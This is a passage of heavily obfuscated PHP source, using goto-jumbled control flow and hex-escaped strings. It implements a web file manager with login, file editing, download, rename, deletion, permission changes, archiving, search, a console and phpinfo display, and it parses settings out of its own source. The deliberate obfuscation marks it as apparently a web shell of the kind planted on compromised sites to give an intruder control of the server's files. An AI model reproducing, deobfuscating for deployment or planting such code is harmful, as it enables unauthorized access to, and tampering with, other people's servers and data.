$ktmbx . "\46\145\144\x69\x74\x3d" . $lOFrg . "\46\160\141\x74\150\75" . $mNXtQ . "\x22\x20\164\151\164\x6c\x65\75\42" . cWQZD("\105\144\151\164") . "\x22\x3e\74\x73\160\x61\156\40\143\x6c\x61\x73\x73\x3d\x22\x66\x69\154\x65\42\x3e\46\x6e\142\x73\x70\x3b\x26\156\x62\163\160\x3b\x26\156\x62\163\160\x3b\46\156\x62\163\x70\73\x3c\x2f\163\160\141\x6e\x3e\x20" . $lOFrg . "\x3c\57\141\76"; goto eHk2L; nGt0H: $ZbqPU = i51UJ("\144\157\167\x6e\154\157\141\144", $GO7Gl, CWqZd("\x44\157\167\x6e\x6c\157\x61\x64"), cWQzD("\104\x6f\x77\x6e\154\157\x61\144") . "\x20" . $lOFrg); goto n87o_; MFYZC: $X0Ty1 = DPiRc($lOFrg) || $Jp_Cj ? '' : i51uj("\x67\x7a", $GO7Gl, cwqzD("\103\x6f\155\160\162\x65\x73\163") . "\46\156\142\x73\x70\x3b\x2e\164\x61\x72\56\147\172", CWqzD("\101\x72\143\x68\x69\x76\151\x6e\147") . "\x20" . $lOFrg); goto E6Pu6; MvJ2h: XE5hl: goto HOVg8; n87o_: $X0Ty1 = in_array($Jvp_F, array("\172\x69\x70", "\x67\x7a", "\164\141\x72")) ? '' : (dpIRc($lOFrg) || $Jp_Cj ? '' : i51UJ("\147\x7a\146\x69\x6c\145", $GO7Gl, cWQZd("\x43\x6f\x6d\160\162\145\163\163") . "\46\x6e\x62\163\160\73\56\x74\141\x72\x2e\x67\x7a", CwqZD("\x41\162\x63\150\x69\166\151\x6e\147") . "\40" . $lOFrg)); goto gLzSW; FFHzH: echo "\74\x2f\x74\144\76\15\12\x20\x20\40\x20\x3c\x74\x64\x3e"; goto vYE1a; PTk_J: echo "\74\57\x74\144\x3e\xd\12\x20\40\40\x20\74\x74\x64\x3e"; goto dvt_E; DTZMa: $YyTlq = @stat($GO7Gl); goto Hnis0; unbcY: if (!dPiRc($lOFrg)) { goto c86Mz; } goto AwRbp; nVs0j: R_xb_: goto BDt1s; Pxf2O: echo $YyTlq[7]; goto L_Wtj; ZuNUm: $YyTlq[7] = pK3dM($GO7Gl); goto quRw5; T0l3M: echo gmdate("\x59\x2d\155\55\144\40\x48\72\151\72\x73", $YyTlq[9]); goto FMUX2; L_Wtj: echo "\x3c\x2f\164\x64\x3e\15\12\x20\40\40\x20\74\164\x64\40\x73\164\171\154\x65\x3d\42\x77\x68\x69\x74\145\55\x73\160\141\x63\145\x3a\x6e\x6f\x77\x72\x61\x70\42\76"; goto T0l3M; dinpF: if (!(!empty($s97BH["\163\150\157\167\x5f\x64\151\x72\137\163\151\172\x65"]) && !DPIRc($lOFrg))) { goto JWgr0; } goto ZuNUm; Bymn8: OoRAJ: goto T09Lf; w19i6: echo $qZLQM; goto Zng4R; zYw0h: $GO7Gl = $mNXtQ . $lOFrg; goto DTZMa; VIcfj: goto R_xb_; goto gUaUh; AwRbp: $xwdlA = ''; goto VIcfj; lHxml: $zEIYz = $lOFrg == "\56" || $lOFrg == "\x2e\x2e" ? '' : "\x3c\x61\x20\x68\162\x65\146\75\42" . $ktmbx . "\x26\x72\x69\147\x68\164\163\75" . $lOFrg . "\x26\160\141\x74\x68\75" . $mNXtQ . "\42\x20\164\151\x74\x6c\145\75\x22" . Cwqzd("\x52\151\147\150\x74\x73") . "\40" . $lOFrg . "\42\x3e" . @BOA1e($GO7Gl) . "\74\x2f\x61\x3e"; goto T5TiH; tTuw9: $xwdlA = "\157\x6e\103\x6c\x69\x63\153\75\42\x69\x66\x28\x63\x6f\156\x66\151\x72\x6d\50\47" . CwqzD("\x41\x72\x65\40\171\157\x75\40\x73\x75\162\x65\40\171\x6f\165\x20\x77\x61\x6e\x74\x20\x74\157\x20\144\145\x6c\145\164\x65\40\164\150\x69\163\x20\x64\151\x72\x65\x63\164\157\162\171\x20\x28\162\x65\x63\x75\x72\163\x69\x76\x65\154\171\x29\x3f") . "\134\x6e\x20\57" . $lOFrg . "\47\51\51\x20\144\157\x63\165\155\x65\156\164\56\154\x6f\x63\141\164\151\157\156\56\x68\x72\145\x66\40\x3d\40\47" . $ktmbx . "\x26\144\x65\154\x65\164\x65\x3d" . $lOFrg . "\46\x70\x61\x74\150\x3d" . $mNXtQ . "\x27\x22"; goto nVs0j; RZz_7: $e2cyy = dpirc($lOFrg) ? '' : "\x3c\141\40\x68\x72\x65\146\75\42" . $ktmbx . "\46\162\145\156\141\x6d\145\x3d" . $lOFrg . "\46\160\141\164\150\x3d" . $mNXtQ . "\x22\x20\164\x69\x74\x6c\x65\x3d\x22" . CwQZD("\122\x65\x6e\x61\155\x65") . "\x20" . $lOFrg . "\42\76" . cWQZd("\x52\145\x6e\141\x6d\145") . "\74\x2f\x61\x3e"; goto lHxml; hNHlM: $ZbqPU = dPIRc($lOFrg) || $Jp_Cj ? '' : i51Uj("\x7a\x69\x70", $GO7Gl, CWqZd("\x43\x6f\x6d\x70\x72\x65\x73\163") . "\46\156\142\x73\160\x3b\x7a\x69\x70", CWqzd("\x41\162\143\150\151\166\151\156\147") . "\40" . $lOFrg); goto MFYZC; eHk2L: $FmYqJ = explode("\x2e", $lOFrg); goto rrmHH; dvt_E: echo $X0Ty1; goto Rb8YR; IZrcs: $fNPCz = dpIRC($lOFrg) ? '' : "\x3c\141\x20\150\162\x65\146\75\x22\43\x22\40\x74\151\x74\x6c\145\75\42" . CwQZD("\104\x65\154\x65\164\145") . "\x20" . $lOFrg . "\x22\x20" . $xwdlA . "\x3e" . CWQzD("\104\145\x6c\145\164\x65") . "\x3c\57\141\76"; goto RZz_7; Rb8YR: echo "\x3c\x2f\164\144\x3e\xd\12\x3c\57\x74\162\76\15\12"; goto Bymn8; gm_aj: echo "\42\76\x20\xd\xa\x20\40\x20\x20\x3c\x74\144\76"; goto w19i6; nB5tI: echo $e2cyy; goto wiM9L; gUaUh: c86Mz: goto tTuw9; Y4mOO: echo $ZbqPU; goto PTk_J; T5TiH: echo "\x3c\x74\x72\x20\x63\154\141\x73\x73\75\42"; goto Jm9P2; gLzSW: $P8mo4 = "\x72\157\167\61"; goto ZYLol; FMUX2: echo "\x3c\x2f\164\x64\x3e\xd\12\x20\x20\40\40\x3c\x74\x64\76"; goto faQ1O; HOVg8: $YyTlq[7] = ''; goto dinpF; Jm9P2: echo $P8mo4; goto gm_aj; Zng4R: echo "\74\57\x74\x64\76\xd\xa\40\40\40\40\x3c\x74\x64\76"; goto Pxf2O; Hnis0: if (@is_dir($GO7Gl)) { goto XE5hl; } goto DYAA1; rrmHH: $Jvp_F = end($FmYqJ); goto nGt0H; ZYLol: $xwdlA = "\157\156\103\x6c\151\x63\x6b\x3d\x22\x69\x66\50\x63\x6f\156\146\x69\162\x6d\x28\x27" . cWqzd("\x46\151\x6c\x65\40\163\145\x6c\145\143\164\145\144") . "\72\40\134\156" . $lOFrg . "\x2e\x20\x5c\156" . CWQzD("\x41\x72\x65\40\171\x6f\x75\x20\163\x75\162\x65\x20\171\x6f\x75\x20\167\141\x6e\164\x20\x74\157\40\x64\145\154\145\x74\145\40\164\x68\x69\x73\40\x66\x69\154\145\77") . "\x27\51\x29\x20\x64\x6f\x63\165\x6d\145\x6e\x74\56\154\157\x63\141\x74\x69\x6f\156\x2e\150\x72\145\x66\40\x3d\x20\47" . $ktmbx . "\x26\144\145\x6c\x65\164\x65\x3d" . $lOFrg . "\x26\x70\x61\164\x68\x3d" . $mNXtQ . "\x27\42"; goto ftuV_; QhspS: echo "\x3c\x2f\x74\144\76\xd\xa\x20\x20\x20\40\74\x74\x64\x3e"; goto nB5tI; T09Lf: } goto d9y2C; pJnt_: if (empty($s97BH["\163\x68\x6f\167\x5f\160\150\x70\x69\156\146\x6f"])) { goto d7DSD; } goto UQZtz; LYPiC: echo "\x22\40\57\76\xd\12\11\x9\11\11\x3c\x69\156\x70\x75\x74\x20\164\x79\160\x65\75\42\164\x65\x78\x74\x22\40\156\141\155\x65\x3d\x22\144\x69\x72\x6e\141\x6d\x65\x22\x20\x73\x69\172\145\x3d\x22\x31\65\x22\76\15\xa\x9\x9\11\x9\74\151\156\160\165\164\40\x74\171\160\x65\75\x22\163\165\142\155\151\x74\x22\x20\156\141\x6d\x65\x3d\x22\x6d\153\144\151\x72\42\40\x76\141\154\165\x65\75\x22"; goto Lf8c0; RN_ty: if (!(isset($_POST["\x6c\x6f\x67\x69\156"]) && isset($_POST["\160\141\x73\163\167\157\162\144"]))) { goto F_Ebp; } goto DSS3o; RRPe0: if (!($_POST["\146\155\137\x6c\157\147\x69\x6e"]["\160\141\x73\163\x77\x6f\162\x64"] != $d19Xm["\x70\x61\x73\x73\x77\x6f\x72\144"])) { goto Y8N9A; } goto cGluB; djV0u: $afv5z .= "\x3c\157\x70\164\151\x6f\x6e\x20\166\x61\154\x75\145\75\42\x2d\61\x22\76" . cwqZd("\x53\x65\154\145\x63\x74") . "\x3c\x2f\x6f\160\164\x69\x6f\156\x3e\12"; goto kyEU1; piuiC: $JCw1W = h6q8I($_POST["\x70\x61\x74\x68"], $_POST["\155\x61\x73\153"], $_POST["\x73\145\141\x72\143\150\x5f\x72\x65\x63\165\162\163\151\166\x65"]); goto vJFw_; Kirdy: die; goto q_C2b; qcXpc: rename($mNXtQ . $_REQUEST["\162\x65\x6e\x61\155\x65"], $mNXtQ . $_REQUEST["\x6e\145\x77\x6e\141\x6d\145"]); goto oOPCT; Zbgjj: if (!isset($_GET["\146\x6d\x5f\x73\x65\x74\164\151\156\147\x73"])) { goto rudpR; } goto eR6Lc; VcRa6: if (isset($_POST["\x66\155\137\x63\157\156\x66\x69\147"])) { goto V8Zpq; } goto HCBi8; LUJzs: rudpR: goto nPkQF; m9AhU: $FI79V = array("\145\156", "\x72\165", "\144\x65", "\146\x72", "\165\153"); goto Ce3FK; Jftzq: if (!empty($_POST["\x73\x65\141\162\143\x68\x5f\162\x65\143\165\162\163\x69\x76\x65"])) { goto RXwWn; } goto cfpeL; Fwmej: $KB7Dj = file_get_contents(__FILE__); goto az7gt; ZSOHy: echo cWQzd("\x46\x69\154\x65\40\155\x61\156\141\x67\x65\x72"); goto UoGne; ONhqx: goto KxJrF; goto ztpfx; Ckone: echo "\42\x3e\15\12\x20\40\x20\x20\x20\x20\40\40\x20\40\x20"; goto auvJX; K_nw_: echo "\42\40\143\157\x6c\x73\x3d\42\x38\x30\42\x20\x72\x6f\x77\163\75\42\61\x30\x22\x20\x73\x74\171\x6c\x65\x3d\x22\167\151\x64\164\x68\x3a\x20\x39\60\x25\42\76"; goto cYgqF; BWAw3: iTaeO: goto O7WfL; ocJg8: $r3pxp = preg_match("\43\164\x72\x61\156\163\154\x61\164\151\157\x6e\x5b\x5c\163\x5d\x3f\134\x3d\133\134\163\x5d\x3f\x27\134\x7b\134\x22\x28\56\52\77\51\134\42\x5c\x7d\47\73\x23", $KB7Dj, $D8ooi); goto vSo_Z; tO5Ut: MM_r9: goto Q0frk; NrVAF: $dIxSR .= CwQZD("\x54\x61\x73\153") . "\40\42" . cWQZd("\101\x72\143\x68\x69\x76\151\x6e\147") . "\x20" . $JWqhb . "\x22\x20" . CwqZd("\x64\157\x6e\145") . "\x2e\46\x6e\142\x73\x70\73" . I51Uj("\144\x6f\167\x6e\x6c\x6f\141\x64", $mNXtQ . $JWqhb, Cwqzd("\x44\157\x77\x6e\154\157\141\144"), CWQZd("\x44\x6f\167\156\x6c\157\x61\144") . "\40" . $JWqhb) . "\x26\x6e\142\x73\x70\73\74\141\x20\x68\162\x65\146\75\x22" . $ktmbx . "\x26\144\x65\154\x65\x74\145\x3d" . $JWqhb . "\46\160\141\164\x68\x3d" . $mNXtQ . "\42\40\x74\x69\x74\x6c\145\75\x22" . cwqzD("\x44\x65\154\x65\164\x65") . "\40" . $JWqhb . "\x22\40\x3e" . CwqzD("\104\x65\x6c\145\x74\x65") . "\x3c\x2f\x61\x3e"; goto IyIxW; OgzyU: $JWqhb = basename($slCOq) . "\56\x74\x61\162"; goto GZJOC; zFxnu: $d19Xm["\163\x63\x72\151\160\164"] = isset($d19Xm["\163\x63\162\151\160\164"]) ? $d19Xm["\163\x63\162\x69\160\164"] : ''; goto WGVxP; DVPec: echo CwQZD("\x43\x61\156\143\145\x6c"); goto k11Zv; kDGKf: echo "\11\11\74\57\164\x64\x3e\15\xa\11\11\x3c\x74\162\x3e\xd\12\x9\11\x3c\57\164\141\142\154\x65\x3e\xd\xa\40\40\40\x20\74\x2f\164\144\x3e\15\12\x3c\x2f\164\162\76\xd\xa\74\57\164\x61\142\154\x65\x3e\xd\xa\x3c\164\141\142\x6c\x65\40\x63\154\141\163\x73\x3d\42\x61\154\x6c\x22\x20\x62\x6f\x72\144\145\x72\x3d\47\60\x27\40\143\x65\154\154\x73\160\141\143\151\156\147\75\47\61\x27\x20\x63\x65\154\154\x70\141\x64\144\x69\x6e\147\75\47\61\47\x20\151\x64\x3d\x22\146\155\137\164\141\142\154\145\42\x20\167\151\144\x74\x68\75\42\61\60\x30\45\42\x3e\15\xa\74\164\x68\x65\x61\x64\x3e\15\xa\74\x74\162\76\40\15\xa\x20\40\40\x20\74\x74\150\x20\163\x74\x79\x6c\x65\x3d\42\167\x68\x69\164\145\x2d\x73\160\141\143\x65\x3a\156\x6f\x77\x72\141\x70\42\x3e\40"; goto eVoxF; zrXbd: T_neM: goto QbMIM; ZGHGg: pqWiu: goto RRPe0; STEgV: echo "\x20\x7c\x20" . php_ini_loaded_file(); goto Oi7kI; ZNxRc: $r3pxp = preg_match("\x23\141\165\164\x68\157\162\151\172\x61\164\x69\x6f\156\x5b\x5c\163\135\x3f\134\75\x5b\x5c\x73\x5d\77\x27\x5c\x7b\x5c\42\50\x2e\52\x3f\51\x5c\x22\x5c\x7d\47\73\x23", $KB7Dj, $D8ooi); goto zib6c; DcTLl: $BnHN0 = empty($_COOKIE["\x66\x6d\x5f\x6c\x61\x6e\147"]) ? $BnHN0 : $_COOKIE["\x66\x6d\x5f\154\141\x6e\x67"]; goto tlZtH; giQmQ: setcookie("\x66\155\137\x63\x6f\x6e\x66\151\147", serialize($s97BH), time() + 86400 * $d19Xm["\144\x61\x79\x73\x5f\141\x75\164\150\x6f\x72\151\x7a\x61\x74\151\x6f\156"]); goto f3uYQ; DbjU3: clearstatcache(); goto dGxEk; qTu_H: $M3Q25 = json_encode($_POST["\146\x6d\x5f\x6c\x6f\x67\x69\x6e"]); goto oFTDO; JAFkf: echo "\40\x3c\57\x74\x68\x3e\15\12\40\x20\40\x20\x3c\x74\150\x20\x73\164\x79\x6c\145\x3d\42\167\x68\151\164\x65\55\163\160\x61\143\145\x3a\156\x6f\167\x72\x61\160\42\x3e\x20"; goto zHvIJ; zlox2: function CwQZD($duQ6V) { goto T2oRT; E3oI1: GhkbQ: goto IyiAq; T2oRT: global $L3b_r; goto wBbFg; SYzNb: goto GhkbQ; goto tkYZm; tkYZm: OjKg7: goto iibOX; wBbFg: if (isset($L3b_r[$duQ6V])) { goto OjKg7; } goto Y27Zo; Y27Zo: return $duQ6V; goto SYzNb; iibOX: return $L3b_r[$duQ6V]; goto E3oI1; IyiAq: } goto m1IGN; HDDRq: echo "\40\x7c\40\120\x48\120\x20" . phpversion(); goto W3Kfv; zbdhB: wgH_s: goto oOCl5; ntWAL: curl_close($I_70P); goto hgvFy; ww2Oc: $afv5z = "\x3c\163\145\154\x65\143\x74\x20\156\x61\x6d\x65\75\42" . $zqLqB . "\x5f\164\160\x6c\x22\x20\164\151\164\154\x65\75\42" . cWQzD("\124\x65\155\x70\154\141\x74\x65") . "\42\40\157\x6e\143\150\141\x6e\147\145\75\42\151\x66\x20\50\164\x68\151\x73\x2e\166\x61\154\x75\x65\x21\75\55\x31\x29\x20\144\x6f\143\165\x6d\x65\156\x74\56\146\157\162\x6d\x73\x5b\47\x63\x6f\156\x73\157\154\x65\47\135\56\145\x6c\145\155\145\156\164\x73\x5b\47" . $zqLqB . "\x27\135\x2e\166\x61\154\165\x65\x20\x3d\x20\x74\x68\x69\163\x2e\x6f\160\164\x69\157\156\163\x5b\x73\x65\x6c\145\143\164\x65\144\111\x6e\144\x65\170\135\x2e\x76\141\154\x75\x65\73\x20\x65\x6c\x73\x65\40\144\x6f\x63\165\155\145\156\164\x2e\146\157\162\155\163\x5b\47\x63\157\x6e\x73\157\154\145\47\x5d\56\145\x6c\145\155\x65\156\164\x73\133\x27" . $zqLqB . "\47\x5d\56\166\x61\x6c\x75\x65\x20\x3d\47\x27\x3b\42\40\x3e" . "\xa"; goto djV0u; gj32I: echo "\74\x74\x61\142\x6c\145\40\143\x6c\x61\x73\x73\75\x22\x77\150\157\x6c\145\42\40\151\x64\x3d\x22\x68\145\141\144\145\x72\137\164\x61\x62\x6c\145\x22\x20\76\xd\12\74\164\x72\76\15\12\40\x20\x20\x20\x3c\x74\150\x20\x63\x6f\154\x73\x70\141\156\75\x22\x32\x22\76"; goto ZSOHy; oR8EI: echo "\x22\x20\163\151\x7a\x65\75\x22\x35\x22\76\xd\xa\11\x9\x9\x9\x3c\151\156\160\165\164\40\164\x79\x70\x65\x3d\42\x73\x75\x62\155\x69\164\x22\40\156\x61\x6d\x65\75\42\x73\x65\x61\x72\x63\x68\x22\40\166\141\x6c\165\x65\x3d\42"; goto f_9Zy; Ux6TE: mfUYx: goto gJ9WU; u_vja: echo "\11\74\x2f\x74\x64\76\xd\12\74\x2f\164\162\76\xd\12\74\164\162\x3e\15\12\40\x20\40\x20\74\164\x64\x20\x63\x6c\141\x73\x73\75\42\x72\x6f\167\61\42\x3e\xd\12\40\40\40\40\40\40\x20\40"; goto Mvo4R; pNj3L: TMIbR($lOFrg); goto OYHwh; moaff: class knMQr { var $fAWlu = ''; var $fOHaU = 0; var $iwXVl = 0; var $FIXrf = true; var $M2HUb = array(); var $IVVDK = array(); function __construct() { goto JmwUu; JmwUu: if (isset($this->M2HUb)) { goto G5wST; } goto PKzV1; PKzV1: $this->M2HUb = array(); goto XkZMj; XkZMj: G5wST: goto wj9vJ; wj9vJ: } function T3ED0($tkYaQ) { goto NEgkq; eUrwz: if ($this->eMqFc()) { goto USkru; } goto Lazaz; NG1se: USkru: goto iCRIp; FvkQv: return $esQj7; goto hK82B; z2Xk2: $KuXs9 = false; goto AgCl5; qH055: O3I__: goto z2Xk2; qwxQg: return false; goto NG1se; JQmGH: unlink($this->fAWlu . "\56\x74\x6d\x70"); goto OVDPw; JFlQy: if (rename($this->fAWlu, $this->fAWlu . "\56\x74\x6d\x70")) { goto CEUf_; } goto c87pv; IBKZN: $KuXs9 = true; goto B9hwV; i9Xm1: p_Oth: goto DS8Rt; y01xk: if (!gzeof($D3kHY)) { goto Pci7_; } goto jGbq7; nHOR9: CEUf_: goto A3NDw; OVDPw: a0dlt: goto iWfGC; exIfF: if (file_exists($this->fAWlu) && is_file($this->fAWlu)) { goto O3I__; } goto IBKZN; MMkko: if ($this->EmQFC()) { goto Y9Y5r; } goto gZfhf; PzGGD: if ($D3kHY) { goto F43Gh; } goto zwDrF; qEFpU: if (!($esQj7 && is_resource($this->fOHaU))) { goto exAgP; } goto iKCN9; eVLE0: if (!($KuXs9 && !$esQj7)) { goto a6XEk; } goto f0HGf; NsaBT: $esQj7 = $this->nWWG8($tkYaQ); goto XPH_Y; q6aIN: $this->yoT4i(); goto JFlQy; gtB6g: I8V0H: goto c1eJs; XzJxm: return false; goto nHOR9; P5GuD: yflLS: goto il3eg; Lazaz: rename($this->fAWlu . "\x2e\164\x6d\x70", $this->fAWlu); goto qwxQg; YD7ah: BISa5: goto e8Nuj; iWfGC: goto p_Oth; goto OAZcZ; h1ic4: Y9Y5r: goto i9Xm1; NEgkq: $esQj7 = false; goto exIfF; c87pv: $this->M2HUb[] = CWqzd("\103\x61\156\156\x6f\164\40\162\145\156\141\155\145") . "\x20" . $this->fAWlu . cwQZd("\40\x74\x6f\x20") . $this->fAWlu . "\x2e\x74\155\x70"; goto XzJxm; oypLi: return false; goto vzeBz; iKCN9: $PjhC7 = pack("\141\x35\61\62", ''); goto W0vgr; f0HGf: $this->YoT4I(); goto H912d; aW1Kq: BNza5: goto qEFpU; qCk11: $this->M2HUb[] = cwQZd("\x4e\x6f\40\x66\x69\154\x65") . CWQzd("\40\164\157\x20") . cwQzd("\101\162\143\150\x69\x76\x65"); goto Kl3JX; AgCl5: ZbwEM: goto QIyxk; QIyxk: if ($KuXs9) { goto FtlML; } goto fkL1p; TChYd: $PjhC7 = pack("\141\65\61\x32", $cyTbI); goto zeHp3; XPH_Y: m8ifN: goto aW1Kq; dcM9z: rename($this->fAWlu . "\56\x74\x6d\160", $this->fAWlu); goto pqfst; bCumu: Pci7_: goto TChYd; Jox03: a6XEk: goto FvkQv; FQxKG: goto a0dlt; goto uFIOT; gZfhf: return false; goto h1ic4; TstJa: return $this->eMQFc(); goto P5GuD; EKeS9: F43Gh: goto eUrwz; A3NDw: $D3kHY = gzopen($this->fAWlu . "\56\164\x6d\160", "\x72\x62"); goto PzGGD; zPPga: $cyTbI = gzread($D3kHY, 512); goto y01xk; X1n4W: if (gzeof($D3kHY)) { goto BISa5; } goto bCumu; pqfst: return false; goto EKeS9; e8Nuj: gzclose($D3kHY); goto JQmGH; W0vgr: $this->RRB_F($PjhC7); goto w0g_h; zwDrF: $this->M2HUb[] = $this->fAWlu . "\x2e\x74\155\x70\40" . CWqZD("\151\163\40\x6e\x6f\x74\40\x72\x65\141\144\x61\142\154\145"); goto dcM9z; H912d: unlink($this->fAWlu); goto Jox03; fkL1p: if (!(filesize($this->fAWlu) == 0)) { goto yflLS; } goto TstJa; DS8Rt: if (isset($tkYaQ) && is_array($tkYaQ)) { goto I8V0H; } goto qCk11; uFIOT: E3x8p: goto q6aIN; OAZcZ: FtlML: goto MMkko; jGbq7: dJa9D: goto YD7ah; VTK72: $this->fOHaU = fopen($this->fAWlu, "\162\53\x62"); goto Ktf7X; Kl3JX: goto BNza5; goto gtB6g; zeHp3: $this->RRB_F($PjhC7); goto zPPga; iCRIp: $cyTbI = gzread($D3kHY, 512); goto X1n4W; VrLpx: $this->YOt4i(); goto eVLE0; Ktf7X: if ($this->fOHaU) { goto kgewp; } goto oypLi; B9hwV: goto ZbwEM; goto qH055; vzeBz: kgewp: goto FQxKG; c1eJs: if (!(count($tkYaQ) > 0)) { goto m8ifN; } goto NsaBT; il3eg: if ($this->FIXrf) { goto E3x8p; } goto VTK72; w0g_h: exAgP: goto VrLpx; hK82B: } function IUhXp($mNXtQ) { goto yAQGP; O8qVR: E5SrB: goto VPIVP; uJIDD: T1OEg: goto KZqFF; i8xsN: if ($this->FIXrf) { goto T1OEg; } goto TB0ys; pR9yu: WpOkR: goto wwxGW; bLlIx: if (substr($yILzp, -2) == "\x67\x7a" or substr($yILzp, -3) == "\164\x67\172") { goto cIrec; } goto qDCFe; tT_QQ: v8zju: goto cXw9x; hAVjW: $this->M2HUb[] = $yILzp . "\x20" . CWqzD("\x69\163\x20\x6e\x6f\164\x20\162\x65\x61\x64\141\142\154\x65"); goto XSvN0; MnV3z: goto E_9hq; goto lBUKB; KZqFF: $esQj7 = true; goto wd6tV; QXP6X: $this->fOHaU = fopen($yILzp, "\x72\x62"); goto vn6OD; HkOBc: E_9hq: goto uJIDD; TB0ys: if (file_exists($yILzp)) { goto B_4y3; } goto bLlIx; rbB1s: EeECx: goto MnV3z; yAQGP: $yILzp = $this->fAWlu; goto i8xsN; hiOEP: $this->FIXrf = true; goto pANAz; cXw9x: $esQj7 = $this->yhZ_I($mNXtQ); goto tddEh; tddEh: $this->YOT4i(); goto LkYhx; wMpwE: if (!($mdkdI = fopen($yILzp, "\x72\142"))) { goto EeECx; } goto kiZh3; lBUKB: cIrec: goto Z2Nf8; kiZh3: $kH_Nb = fread($mdkdI, 2); goto C3e1b; iKOSz: if (!($kH_Nb == "\x5c\63\67\x5c\62\x31\63")) { goto j71c7; } goto hiOEP; wd6tV: if ($this->FIXrf) { goto E5SrB; } goto QXP6X; LkYhx: return $esQj7; goto IeDsg; C3e1b: fclose($mdkdI); goto iKOSz; wwxGW: if ($this->fOHaU) { goto v8zju; } goto hAVjW; pANAz: j71c7: goto rbB1s; vn6OD: goto WpOkR; goto O8qVR; XSvN0: return false; goto tT_QQ; qDCFe: goto E_9hq; goto RSeZR; VPIVP: $this->fOHaU = gzopen($yILzp, "\162\142"); goto pR9yu; Z2Nf8: $this->FIXrf = true; goto HkOBc; RSeZR: B_4y3: goto wMpwE; IeDsg: } function h9QBI($dg2HS = '') { goto u6ugu; k4zsj: nckAG: goto r1GhM; CWhwt: return ''; goto VLwlB; JpIW3: Y4jhU: goto oCe7I; AkpuF: qmt_E: goto ZqHsp; X6qvq: if (count($L58GS) > 0) { goto nckAG; } goto CWhwt; FuC_T: $dg2HS = CWqZd("\x45\162\162\x6f\x72\x20\157\x63\x63\165\x72\162\145\144") . $dg2HS . "\x3a\40\74\142\162\57\x3e"; goto nIVyS; u6ugu: $L58GS = $this->M2HUb; goto X6qvq; VLwlB: goto Y4jhU; goto k4zsj; r1GhM: if (empty($dg2HS)) { goto XTT32; } goto EV9jc; EV9jc: $dg2HS = "\x20\x28" . $dg2HS . "\x29"; goto GDmtf; nIVyS: foreach ($L58GS as $EoCzU) { $dg2HS .= $EoCzU . "\x3c\142\162\x2f\76"; CSdK7: } goto AkpuF; ZqHsp: return $dg2HS; goto JpIW3; GDmtf: XTT32: goto FuC_T; oCe7I: } function nWWG8($HclId) { goto e8EFh; eBq1n: if (!(($cyTbI = fread($lOFrg, 512)) != '')) { goto j4TMc; } goto iToEI; PXSJz: if (!(false !== ($X05w2 = readdir($bAjqm)))) { goto Nv22o; } goto svqtV; xTkun: $this->M2HUb[] = cWqZd("\105\162\x72\x6f\162") . "\x3a\x20" . CWQzD("\x44\x69\x72\x65\x63\164\157\162\x79\40") . $GO7Gl . cwQZD("\151\163\40\x6e\x6f\x74\x20\x72\x65\x61\144\x61\x62\154\x65"); goto BlBYD; CWVtp: $this->krpH6($GO7Gl, $gKjzI); goto jOsxQ; zcGBs: $this->M2HUb[] = CwqzD("\x4e\x6f\40\x66\x69\154\145") . "\x20" . $GO7Gl; goto QlV5e; GO0gA: return false; goto rnYWD; iidHF: if (!(!is_array($HclId) || count($HclId) <= 0)) { goto CedxF; } goto BTtGX; onTlz: $this->M2HUb[] = CwqzD("\x49\156\166\x61\154\x69\144\x20\x66\151\x6c\145\x20\144\x65\163\x63\162\151\x70\x74\157\x72"); goto GO0gA; Ip6Cd: goto CRixM; goto Ps0j7; FJTWo: GuoVa: goto P7BFX; QlV5e: goto CRixM; goto co_py; vqQXt: goto GuoVa; goto UNjt4; jOsxQ: goto yQiex; goto aT3rD; iDYlQ: if (!($GO7Gl == $this->fAWlu)) { goto JdXsU; } goto NXti5; BTtGX: return true; goto Bke9A; co_py: xXO_D: goto jIvLj; UTbeV: yQiex: goto Lk51U; bszhQ: goto IR_pw; goto m1lTG; CjIPF: $GO7Gl = $HclId[$j0SYi]; goto iDYlQ; X6Fkl: if ($this->KRpH6($GO7Gl, $gKjzI)) { goto DZLOU; } goto pMqBe; JSC_B: DZLOU: goto k4tQH; ydX3O: goto KpPxd; goto fhCbc; O81c3: yc9gr: goto U_0Qm; G3afg: unset($X05w2); goto OFjIU; mjfST: $Xz90h[] = $GO7Gl . "\x2f" . $X05w2; goto FJTWo; dBa8y: j4TMc: goto CZWir; XqhXE: if (file_exists($GO7Gl)) { goto xXO_D; } goto zcGBs; Lk51U: if (!@is_dir($GO7Gl)) { goto gs7z0; } goto y4txz; RbsfP: $this->M2HUb[] = cWqZD("\x46\151\154\145\156\141\155\x65") . "\x20" . cwQzd("\151\x73\40\x69\156\143\157\x72\162\145\143\164"); goto rQsD9; Bke9A: CedxF: goto Axl2s; SxHRp: if (!($this->iwXVl == 0)) { goto IP_Y1; } goto X6Fkl; Axl2s: $j0SYi = 0; goto wcQdg; nkiyb: goto Jmwjo; goto dBa8y; pMqBe: return false; goto JSC_B; P7BFX: $esQj7 = $this->NwwG8($Xz90h); goto bkvbW; mkd2L: if ($GO7Gl != "\56") { goto isbDe; } goto IPSYr; aT3rD: BoQ7s: goto cu864; OFjIU: unset($bAjqm); goto zLZ_A; QLH_T: $gKjzI = $this->dJujz($GO7Gl); goto NB8p8; L2ev8: CRixM: goto DjNKt; f8hiK: return false; goto O81c3; S1nrS: $this->M2HUb[] = CWqzD("\x4d\x6f\144\145\x20") . cWqzD("\x69\163\x20\x69\156\143\157\x72\162\145\143\164"); goto VuIYb; y4txz: if ($bAjqm = opendir($GO7Gl)) { goto SRvuC; } goto xTkun; rnYWD: qYJXe: goto iidHF; CZWir: fclose($lOFrg); goto UTbeV; d1iv0: $this->M2HUb[] = cwqzd("\x49\156\166\141\154\x69\144\x20\x66\151\154\145\40\x64\145\163\x63\162\x69\x70\x74\x6f\x72"); goto f8hiK; U_0Qm: if (!(strlen($GO7Gl) <= 0)) { goto caMgL; } goto RbsfP; zLZ_A: gs7z0: goto L2ev8; yCmp7: return $esQj7; goto VGbvV; iTuS0: caMgL: goto BYg2q; HO_cR: SRvuC: goto itmjt; Mo_X6: Jmwjo: goto eBq1n; tHl9v: unset($Xz90h); goto G3afg; wcQdg: KpPxd: goto EIXee; Ch11X: if ($this->fOHaU) { goto qYJXe; } goto onTlz; IPSYr: $Xz90h[] = $X05w2; goto vqQXt; m1lTG: Nv22o: goto tHl9v; svqtV: if (!($X05w2 != "\x2e" && $X05w2 != "\x2e\56")) { goto z1p5Y; } goto jzLtc; VuIYb: gq0m7: goto SxHRp; XCTUi: JdXsU: goto Q8bkk; EIXee: if (!($j0SYi < count($HclId))) { goto lQROb; } goto CjIPF; rQsD9: return false; goto iTuS0; NXti5: 